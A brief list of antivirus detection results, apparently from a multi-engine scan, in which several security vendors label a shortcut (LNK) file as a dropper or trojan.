Google Detected
AhnLab-V3 Dropper/LNK.Generic.S2266
VBA32 Trojan.Link.Crafted
ALYac Heur.BZC.YAX.Boxter.562.E937F8DA
Rising Trojan.PSRunner/LNK!1.BADE (CLASSIC)
SentinelOne Static AI - Suspicious LNK
Fortinet LNK/Agent.AGJ!tr